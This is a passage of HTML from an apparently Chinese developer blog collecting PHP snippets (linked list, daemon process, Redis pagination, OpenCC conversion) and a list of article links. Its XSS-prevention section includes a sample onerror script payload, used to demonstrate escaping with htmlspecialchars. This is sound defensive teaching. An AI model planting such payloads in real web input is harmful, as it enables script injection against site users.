</span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;head = <span class="literal">null</span>;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;tail = <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">remove</span>(<span class="params">$data</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        ...</span><br><span class="line"></span><br><span class="line">        $prev = $<span class="keyword">this</span>-&gt;head;</span><br><span class="line">        $cur = $prev-&gt;next;</span><br><span class="line">        <span class="keyword">while</span> (!empty($prev) &amp;&amp; !empty($cur)) &#123;</span><br><span class="line">            <span class="keyword">if</span> ($cur-&gt;data == $data) &#123;</span><br><span class="line">                $<span class="keyword">this</span>-&gt;removeHelper($prev, $cur);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            $prev = $prev-&gt;next;</span><br><span class="line">            $cur = $cur-&gt;next;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    private <span class="function"><span class="keyword">function</span> <span class="title">removeHelper</span>(<span class="params">$prev, $cur</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> ($cur == $<span class="keyword">this</span>-&gt;tail) &#123;</span><br><span class="line">            $<span class="keyword">this</span>-&gt;tail = $prev;</span><br><span class="line">        &#125;</span><br><span class="line">        $prev-&gt;next = $cur-&gt;next;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">append</span>(<span class="params">$data</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $n = <span class="keyword">new</span> Node($data);</span><br><span class="line">        ...</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">https:<span class="comment">//learnku.com/articles/32281</span></span><br></pre></td></tr></table></figure>
<h3 id="守护进程"><a href="#守护进程" class="headerlink" title="守护进程"></a>守护进程</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">fork 子进程</span><br><span class="line">父进程退出</span><br><span class="line">设置新的会话</span><br><span class="line">重置文件掩码</span><br><span class="line">关闭标准输入输出</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">daemon</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"></span><br><span class="line">    $pid = pcntl_fork();</span><br><span class="line">    <span class="comment">// fork 失败</span></span><br><span class="line">    <span class="keyword">if</span> ($pid &lt; <span class="number">0</span>) &#123;</span><br><span class="line">        exit(<span class="string">'fork failed'</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> ($pid &gt; <span class="number">0</span>) &#123;</span><br><span class="line">       <span class="comment">// 退出父进程</span></span><br><span class="line">        exit(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 设置新的会员</span></span><br><span class="line">    <span class="comment">// setsid 有几个注意点</span></span><br><span class="line">    <span class="comment">// 不能是进程组的组长调用</span></span><br><span class="line">    <span class="comment">// 对于进程组组员调用会产生新的会话和进程组，并成为该进程组的唯一成员，调用的进程将脱离终端</span></span><br><span class="line">    <span class="keyword">if</span> (posix_setsid() &lt; <span class="number">0</span>) &#123;<span class="comment">// 获取进程ID</span></span><br><span class="line"></span><br><span class="line">        exit(<span class="string">'set sid failed'</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 重置文件掩码</span></span><br><span class="line">    umask(<span class="number">0</span>);</span><br><span class="line">    <span class="comment">// 切换工作目录</span></span><br><span class="line">    chdir(<span class="string">'/'</span>);</span><br><span class="line">    <span class="comment">// 关闭标准输入输出</span></span><br><span class="line">    fclose(STDIN);</span><br><span class="line">    fclose(STDOUT);</span><br><span class="line">    fclose(STDERR);</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">global $stdin, $stdout, $stderr;</span><br><span class="line">$stdin = fopen(<span class="string">'/dev/null'</span>, <span class="string">'r'</span>);</span><br><span class="line">$stdout = fopen(<span class="string">'/www/php/txt.txt'</span>,<span class="string">'wb'</span>);</span><br><span class="line">$stderr = fopen(<span class="string">'/dev/null'</span>, <span class="string">'wb'</span>);</span><br><span class="line">https:<span class="comment">//learnku.com/articles/32320</span></span><br></pre></td></tr></table></figure>
<h3 id="如何获得每个父母的-N-个相关模型"><a href="#如何获得每个父母的-N-个相关模型" class="headerlink" title="如何获得每个父母的 N 个相关模型"></a>如何获得每个父母的 N 个相关模型</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//softonsofa.com/tweaking-eloquent-relations-how-to-get-n-related-models-per-parent/</span></span><br></pre></td></tr></table></figure>
<h3 id="防止-XSS-注入"><a href="#防止-XSS-注入" class="headerlink" title="防止 XSS 注入"></a>防止 XSS 注入</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体</span><br><span class="line">strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">XSSFilter</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">handle</span>(<span class="params">$request, Closure $next</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="comment">// 配置不执行过滤转换参数项，如 env 配置: XSS_EXCEPT=article_contents,html_contents</span></span><br><span class="line">        $param_except_string = config(<span class="string">'const.xss_filter_param_except'</span>);</span><br><span class="line">        $param_except = [];</span><br><span class="line">        <span class="keyword">if</span> (!empty($param_except_string)) &#123;</span><br><span class="line">            $param_except = explode(<span class="string">','</span>, $param_except_string);</span><br><span class="line">        &#125;</span><br><span class="line">        $input = $request-&gt;except($param_except);</span><br><span class="line">        array_walk_recursive($input, <span class="function"><span class="keyword">function</span> (<span class="params">&amp;$input</span>) </span>&#123;</span><br><span class="line">            <span class="comment">// $input = strip_tags($input);  // 清除标签内容</span></span><br><span class="line">            $input = htmlspecialchars($input, ENT_NOQUOTES, <span class="string">'UTF-8'</span>, <span class="literal">false</span>); <span class="comment">// 过滤转换预定符号</span></span><br><span class="line">        &#125;);</span><br><span class="line">        $request-&gt;merge($input);</span><br><span class="line">        <span class="keyword">return</span> $next($request);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">p</span>(<span class="params">$value</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> htmlspecialchars($value, ENT_QUOTES, <span class="string">'UTF-8'</span>, <span class="literal">false</span>);</span><br><span class="line">&#125;</span><br><span class="line">$nickname = <span class="string">"&lt;img src='x' onerror='alert(0)' /&gt;测试昵称"</span>;</span><br><span class="line">echo p($nickname);</span><br><span class="line">修改 php.ini 配置开启 httpOnly: Session.cookie_httponly = On</span><br><span class="line">开启 httpOnly 后，禁止 JavaScript 脚本直接读取该 Cookie 内容</span><br><span class="line">cookie($name = <span class="literal">null</span>, $value = <span class="literal">null</span>, $minutes = <span class="number">0</span>, $path = <span class="literal">null</span>, $domain = <span class="literal">null</span>, $secure = <span class="literal">false</span>, $httpOnly = <span class="literal">true</span>)</span><br><span class="line">https:<span class="comment">//learnku.com/articles/32529</span></span><br></pre></td></tr></table></figure>
<h3 id="PHP-使用-Redis-实现分页"><a href="#PHP-使用-Redis-实现分页" class="headerlink" title="PHP 使用 Redis 实现分页"></a>PHP 使用 Redis 实现分页</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br></pre></td><td class="code"><pre><span class="line">namespace app\Constants\Nomal;</span><br><span class="line">use Illuminate\Support\Facades\Cache;</span><br><span class="line">use Illuminate\Support\Facades\Redis;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">RedisList</span></span>&#123;</span><br><span class="line">   <span class="comment">// 添加一条数据到redis中</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">zAdd</span>(<span class="params">$key,array $value</span>)</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> Redis::zadd($key,$value);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 从Redis返回一条数据</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">zRange</span>(<span class="params">$key,$start,$end,$withScores</span>)</span>&#123;</span><br><span class="line">        <span class="keyword">return</span>  Redis::zRange($key,$start,$end,$withScores);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// Redis 返回一条数据从大小返回数据</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">zrevRange</span> (<span class="params">$key,$start,$end,$withScores</span>)</span>&#123;</span><br><span class="line">        <span class="keyword">return</span>  Redis::ZREVRANGE($key,$start,$end,$withScores);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// Redis 返回某个数据 按分数正序排序 //ZRANGEBYSCORE</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span>  <span class="title">zRangByScore</span>(<span class="params">$key,$start,$end,$withScores</span>)</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> Redis::ZRANGEBYSCORE($key,$start,$end,$withScores);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// Redis 返回数据按分数倒叙排序 // ZREVRANGEBYSCORE</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">zRevRangBySore</span>(<span class="params">$key,$start,$end,$withScores</span>)</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> Redis::ZREVRANGEBYSCORE($key,$start,$end,$withScores);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 删除某个成员的值</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">zRem</span>(<span class="params">$key,$member</span>)</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> Redis::zRem($key,$member);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 返回zset集合中所有元素的个数</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">zSize</span>(<span class="params">$key</span>)</span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> Redis::zcard($key);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 返回比元素$member分数大的元素的个数</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">zRevRank</span>(<span class="params">$key,$member</span>)</span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> Redis::zRevRank($key,$member);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 如果在名称为key的zset中已经存在元素member，则该元素的score增加increment；否则向集合中添加该元素，其score的值为increment</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">zIncrBy</span>(<span class="params">$key,$increment,$member</span>)</span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> Redis::zIncrBy($key,$increment,$member);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 求有序集合的并集</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">zUnion</span>(<span class="params">$output,$zsetkey</span>)</span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> Redis::zUnion($output,$zsetkey);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">//求有序集合的交集</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">zInter</span>(<span class="params">$output,$zsetkey</span>)</span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> Redis::zInter($output,$zsetkey);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// redis 分页处理</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">limitAndPage</span>(<span class="params">$pageIndex,$pageNum</span>)</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> array(<span class="string">'pageIndex'</span>=&gt;$pageIndex<span class="number">-1</span>,<span class="string">'pageNumber'</span>=&gt;$pageIndex*$pageNum<span class="number">-1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// redis 队列操作 入队列</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">lPush</span>(<span class="params">$key,$value</span>)</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> Redis::LPUSH($key,$value);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// redis 根据索引取数据</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">lIndex</span>(<span class="params">$key,$position</span>)</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> Redis::lIndex($key,$position);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// redis list维护一个长度为100000的队列</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">lTrim</span>(<span class="params">$key,$start=<span class="number">0</span>,$stop=<span class="number">100000</span></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> Redis::lTrim($key,$start,$stop);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 设置key的过期时间 现在设置的是一个月的时间 做二级缓存使用</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">expire</span>(<span class="params">$key,$timesec =<span class="number">0</span></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">if</span>($timesec == <span class="number">0</span>)&#123;</span><br><span class="line">            $expire_time = <span class="number">0</span>&lt;$timesec? $timesec: strtotime(date(<span class="string">'Y-m-d'</span>)) + <span class="number">2592000</span> - time();</span><br><span class="line">        &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">            $expire_time = $timesec;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> Redis::expire($key,$expire_time);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 设置zset的长度</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">SetZsetTime</span>(<span class="params">$key,$data,$lenth =<span class="number">4</span></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">if</span>($<span class="keyword">this</span>-&gt;zSize($key)&gt;$lenth)&#123;</span><br><span class="line">            Redis::zremrangebyrank($key,<span class="number">0</span>,count($data)<span class="number">-1</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">getListInfoByCondition</span>(<span class="params">$key,$start,$end,array $limit,$sort = <span class="string">'asc'</span></span>)</span>&#123;</span><br><span class="line">       <span class="keyword">if</span>($sort == <span class="string">'desc'</span>)&#123;</span><br><span class="line">          $pageNum = $limit[<span class="string">'limit'</span>][<span class="number">0</span>]*$limit[<span class="string">'limit'</span>][<span class="number">1</span>];</span><br><span class="line">          $limit[<span class="string">'limit'</span>][<span class="number">0</span>] = $<span class="keyword">this</span>-&gt;zSize($key)-$pageNum;</span><br><span class="line">          <span class="comment">// 本方法只使用于app分页 上一页 下一页 不支持跳页查询</span></span><br><span class="line">       &#125;</span><br><span class="line">       <span class="keyword">return</span> $sort == <span class="string">'desc'</span>?array_reverse($<span class="keyword">this</span>-&gt;zRangByScore($key,$start,$end,$limit)):$<span class="keyword">this</span>-&gt;zRangByScore($key,$start,$end,$limit);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 添加一条数据</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">addOneInfo</span>(<span class="params">$key,array $data</span>)</span>&#123;</span><br><span class="line">       <span class="keyword">if</span>(Redis::exists($key))&#123;</span><br><span class="line">           <span class="keyword">if</span>(count($data)&gt;<span class="number">4</span>)&#123;</span><br><span class="line">               <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">           &#125;</span><br><span class="line">           $ret = $<span class="keyword">this</span>-&gt;zAdd($key,$data);</span><br><span class="line">           $<span class="keyword">this</span>-&gt;SetZsetTime($key,$data);</span><br><span class="line">           <span class="keyword">return</span> $ret;</span><br><span class="line">       &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">          $<span class="keyword">this</span>-&gt;expire($key,<span class="number">60</span>);</span><br><span class="line">          <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;zAdd($key,$data);</span><br><span class="line">       &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 更新一条数据</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">updateOneById</span>(<span class="params">$key,$id,$data</span>)</span>&#123;</span><br><span class="line">       $<span class="keyword">this</span>-&gt;deleteOneById($key,$id);</span><br><span class="line">       <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;zAdd($key,$data);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 删除一条数据</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">deleteOneById</span>(<span class="params">$key,$id</span>)</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> Redis::zremrangebyscore($key,$id,$id);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 获取一条数据</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">getOneInfoById</span>(<span class="params">$key,$id</span>)</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;zRangByScore($key,$id,$id,array(<span class="string">'withScores'</span>=&gt;<span class="string">''</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;https:<span class="comment">//learnku.com/articles/32548</span></span><br></pre></td></tr></table></figure>
<h3 id="繁体简体互转"><a href="#繁体简体互转" class="headerlink" title="繁体简体互转"></a>繁体简体互转</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//github.com/BYVoid/OpenCC</span></span><br><span class="line">composer <span class="built_in">require</span> sleep-cat/opencc-php</span><br><span class="line">use SleepCat\OpenCC\Command;</span><br><span class="line">use SleepCat\OpenCC\OpenCC;</span><br><span class="line">$command = <span class="keyword">new</span> Command(<span class="string">'/usr/bin/opencc'</span>,<span class="string">'/usr/share/opencc'</span>);</span><br><span class="line">$opencc = <span class="keyword">new</span> OpenCC($command);</span><br><span class="line"><span class="comment">// laravel应用可用外观</span></span><br><span class="line">$result = OpenCC::transform(<span class="string">'天氣乍涼人寂寞，光陰須得酒消磨。且來花裏聽笙歌。'</span>,<span class="string">'t2s.json'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 其他应用使用实例</span></span><br><span class="line">$result = $opencc-&gt;transform(<span class="string">'天氣乍涼人寂寞，光陰須得酒消磨。且來花裏聽笙歌。'</span>,<span class="string">'t2s.json'</span>);</span><br><span class="line"></span><br><span class="line">print_r($result);</span><br><span class="line"><span class="comment">// 天气乍凉人寂寞，光阴须得酒消磨。且来花里听笙歌。</span></span><br><span class="line">https:<span class="comment">//learnku.com/articles/32497</span></span><br></pre></td></tr></table></figure>
<p><a href="https://learnku.com/articles/26282" target="_blank" rel="noopener">接入 paypal PHP-sdk 支付 / 回调 / 退款全流程</a></p>
<p><a href="https://learnku.com/articles/32019" target="_blank" rel="noopener">PHP 三年模拟五年面试</a></p>
<p><a href="https://learnku.com/articles/32113#reply102242" target="_blank" rel="noopener">phpredis 扩展redis使用</a></p>
<p><a href="https://learnku.com/articles/31844" target="_blank" rel="noopener">数据库主键 ID 生成策略</a></p>
<p><a href="https://learnku.com/articles/31809" target="_blank" rel="noopener">PHP 生成迷宫路线</a></p>
<p><a href="https://learnku.com/laravel/t/31885" target="_blank" rel="noopener"> JavaScript 混淆表达式https://jscrew.it/</a></p>
<p><a href="https://learnku.com/articles/31809" target="_blank" rel="noopener">PHP 生成迷宫路线</a></p>
<p><a href="https://www.bilibili.com/video/av57659470/" target="_blank" rel="noopener">PHP 手册入门视频教程</a></p>
<p><a href="https://learnku.com/articles/31789" target="_blank" rel="noopener"> phpstorm 下安装 Laravel-ide-helper</a></p>
<p><a href="https://learnku.com/laravel/t/31755" target="_blank" rel="noopener">个人收款支付接口</a></p>
<p><a href="https://learnku.com/articles/31748" target="_blank" rel="noopener">数据结构复杂图形存储 PHP 版</a></p>
<p><a href="https://p0sec.net/index.php/archives/107/" target="_blank" rel="noopener">第十届全国大学生信息安全竞赛Web WriteUp</a></p>
<p><a href="https://www.playpi.org/2019042701.html" target="_blank" rel="noopener">解决微博图床防盗链的问题</a></p>
<p><a href="https://www.helingfeng.com/2018-06-13/publish-php-projects-with-jenkins-automation/" target="_blank" rel="noopener">Jenkins 自动化发布 PHP 项目</a></p>
<p><a href="https://p0sec.net/index.php/archives/117/" target="_blank" rel="noopener">SQL注入备忘手册</a></p>
<p><a href="https://learnku.com/articles/28772" target="_blank" rel="noopener">PHP 面试详解之技术篇</a></p>
<p><a href="https://p0sec.net/" target="_blank" rel="noopener">PHP安全</a></p>
<p><a href="https://github.com/aizuyan/pinyin" target="_blank" rel="noopener">将汉字转化为拼音</a></p>
<p><a href="https://www.cnblogs.com/iforever/p/4254605.html" target="_blank" rel="noopener">pack、unpack自制二进制“数据库”</a></p>
<p><a href="https://github.com/xiaohuilam/laravel-wxapp-notification-channel" target="_blank" rel="noopener"> 小程序模板消息</a></p>
<p><a href="https://learnku.com/laravel/t/31373" target="_blank" rel="noopener">Workerman 作为 Laravel 队列进程守护</a></p>
<p><a href="https://learnku.com/articles/31364" target="_blank" rel="noopener">Laravel-Horizon【队列监控】</a></p>
<p><a href="https://qimajiang.com/2017/06/13/%E6%89%8B%E6%8A%8A%E6%89%8B%E6%95%99%E4%BD%A0%E7%94%A8-PHP-%E6%8B%BC%E6%8E%A5%E5%BE%AE%E4%BF%A1%E5%A5%BD%E5%8F%8B%E5%A4%B4%E5%83%8F/" target="_blank" rel="noopener"> PHP 拼接微信好友头像https://github.com/moxun33/imageMergerUtil/blob/master/MergeImage.class.php</a></p>
<p><a href="https://itzxf.com/index/article/page/id/111.html" target="_blank" rel="noopener">PHP 优秀资源库整理</a></p>
<p><a href="https://github.com/sdfsky/tipask" target="_blank" rel="noopener"> PHP 问答系统</a></p>
<p><a href="https://learnku.com/articles/31145" target="_blank" rel="noopener">Laravel 中使用 极光推送jpush composer包</a></p>
<p><a href="https://www.qingwei.tech/programe-develops/php/622.html" target="_blank" rel="noopener">PHP常用函数整理</a></p>
<p><a href="https://github.com/alicfeng/note.samego.com" target="_blank" rel="noopener">笔记分享 | 简书2GitHub</a></p>
<p><a href="https://learnku.com/articles/31102" target="_blank" rel="noopener"> PHP 中文简易分词</a></p>
<p><a href="https://michael-lik.github.io/php-the-right-way/pages/The-Basics.html" target="_blank" rel="noopener">PHP the right way</a></p>
<p><a href="https://www.fanhaobai.com/2018/09/process-php-multiprocess-server.html" target="_blank" rel="noopener">用PHP玩转进程之二 — 多进程PHPServer</a></p>
<p><a href="https://learnku.com/articles/30763" target="_blank" rel="noopener">后端来配置 Vue Router 的方案</a></p>
<p><a href="https://github.com/BruceDone/awesome-crawler" target="_blank" rel="noopener">爬虫工具</a></p>
<p><a href="https://github.com/owner888/phpspider" target="_blank" rel="noopener">我用php爬虫一天时间“偷了”知乎一百万用户</a></p>
<p><a href="https://qimajiang.com/2017/04/04/%E4%BD%BF%E7%94%A8-ngrok-%E5%AE%9E%E7%8E%B0%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F/" target="_blank" rel="noopener"> ngrok 实现内网穿透ittun.com/</a></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/07/09/命令行录制工具-asciinema/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/07/09/命令行录制工具-asciinema/" itemprop="url">命令行录制工具 asciinema</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-07-09T19:59:26+08:00">
                2019-07-09
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  1k 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
